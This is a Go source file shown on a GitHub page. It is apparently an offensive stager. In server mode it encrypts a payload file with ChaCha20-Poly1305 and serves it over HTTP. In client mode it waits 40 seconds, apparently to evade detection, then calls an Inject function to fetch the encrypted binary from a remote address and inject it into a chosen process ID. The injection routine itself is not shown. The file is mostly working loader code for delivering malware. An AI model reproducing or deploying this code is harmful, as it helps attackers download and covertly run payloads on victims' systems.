-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
126 lines (95 loc) · 2.43 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
package main
import (
"crypto/rand"
"encoding/hex"
"flag"
"log"
"net/http"
"os"
"time"
"golang.org/x/crypto/chacha20poly1305"
"golang.org/x/crypto/blake2b"
)
func RandomString(length int) (string, error) {
randomData := make([]byte, length)
_, err := rand.Read(randomData)
if err != nil {
return "", err
}
return hex.EncodeToString(randomData), nil
}
func main() {
listenAddr := flag.String("listen", ":8081", "webserver listen address")
filepath := flag.String("serve", "", "File to serve as encrypted payload")
password := flag.String("pass", "", "Password to encrypt/decrypt payload")
addr := flag.String("addr", "", "url to encrypted binary")
pid := flag.Int("pid", os.Getpid(), "pID of process to inject into (defaults to self)")
flag.Parse()
var (
hasFile bool
isServer bool
isClient bool
hasPid bool
err error
)
flag.Visit(func(f *flag.Flag) {
switch f.Name {
case "serve":
hasFile = true
isServer = true
case "listen":
isServer = true
case "addr":
isClient = true
case "pid":
hasPid = true
}
})
if isServer {
if isClient || hasPid {
log.Fatal("cannot be client and server at the same time (-addr and -pid are not compatiable with -listen)")
}
if *password == "" {
*password, err = RandomString(16)
if err != nil {
log.Fatal("could not generate password: ", err)
}
log.Println("no password selected generated one: ", *password)
}
if !hasFile {
log.Fatal("no file sepcified ")
}
kd := blake2b.Sum256([]byte(*password))
log.Println("listening on: ", *listenAddr)
contents, err := os.ReadFile(*filepath)
if err != nil {
log.Fatal(err)
}
c, err := chacha20poly1305.New(kd[:])
if err != nil {
log.Fatal("chacha broken:", err)
}
nonce := make([]byte, c.NonceSize(), c.NonceSize()+len(contents)+c.Overhead())
if _, err := rand.Read(nonce); err != nil {
log.Fatal("nonce generate broken:", err)
}
cipherText := c.Seal(nonce, nonce, contents, nil)
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
log.Println("Got hit: ", r.RemoteAddr)
w.Write(cipherText)
})
log.Fatal(http.ListenAndServe(*listenAddr, nil))
return
}
if *addr == "" {
log.Fatal("no address specified")
}
log.Println("doing 40 second sleep....")
<-time.After(40 * time.Second)
log.Println("Starting load...")
err = Inject(*pid, *addr, *password)
if err != nil {
log.Fatal(err)
}
time.Sleep(100 * time.Minute)
}